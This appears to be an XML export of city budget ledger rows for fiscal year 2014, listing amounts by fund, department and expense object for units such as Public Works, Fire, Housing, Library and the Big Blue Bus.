<row _id="7235"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7236"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>407490.0</object><object_description>PLAN CHECK FEES-LANDSCAPE&amp;FORE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7237"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7238"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7239"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7240"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>566650.0</object><object_description>MALL MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7241"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7242"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1694.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1694.0</total></row>
<row _id="7243"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1550.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1550.0</total></row>
<row _id="7244"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>276.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>276.0</total></row>
<row _id="7245"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402660.0</object><object_description>FUTURE REPLACEMENTS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-4328928.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4328928.0</total></row>
<row _id="7246"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>854.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>157031.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>157031.0</total></row>
<row _id="7247"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>401.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>401.0</total></row>
<row _id="7248"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="7249"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="7250"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-923789.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-923789.0</total></row>
<row _id="7251"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8388.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8388.0</total></row>
<row _id="7252"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="7253"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="7254"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="7255"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>122257.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>122257.0</total></row>
<row _id="7256"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>272.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>272.0</total></row>
<row _id="7257"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1100.0</total></row>
<row _id="7258"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12002.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12002.0</total></row>
<row _id="7259"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1829.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1829.0</total></row>
<row _id="7260"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>205.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>205.0</total></row>
<row _id="7261"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>19293.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19293.0</total></row>
<row _id="7262"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>578670.0</object><object_description>COORDINATED COMMUNITY OUTREACH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>156396.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>156396.0</total></row>
<row _id="7263"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>571140.0</object><object_description>S+C HAP EXPANSION</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>214044.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>214044.0</total></row>
<row _id="7264"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566810.0</object><object_description>TRANS &amp; USE TAX-SMMUSD ALLOCAT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7517842.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7517842.0</total></row>
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<row _id="7266"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-34802.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-34802.0</total></row>
<row _id="7267"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-621174.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-621174.0</total></row>
<row _id="7268"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7269"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7270"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7271"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544440.0</object><object_description>WEBSITE DEVOP &amp; MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5900.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5900.0</total></row>
<row _id="7272"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12651.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12651.0</total></row>
<row _id="7273"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1568.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1568.0</total></row>
<row _id="7274"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1568.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1568.0</total></row>
<row _id="7275"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>215.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>215.0</total></row>
<row _id="7276"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>401680.0</object><object_description>UNDERGROUND TANK PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-34850.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-34850.0</total></row>
<row _id="7277"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400440.0</object><object_description>PARK FILMING LOCATION FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7278"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404290.0</object><object_description>MEASURE R LOCAL RETURN</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-991753.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-991753.0</total></row>
<row _id="7279"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7280"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3325.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3325.0</total></row>
<row _id="7281"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556100.0</object><object_description>EMBALMING/CREMATION/DECEDENT C</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>60000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="7282"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
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<row _id="7307"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-16274.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-16274.0</total></row>
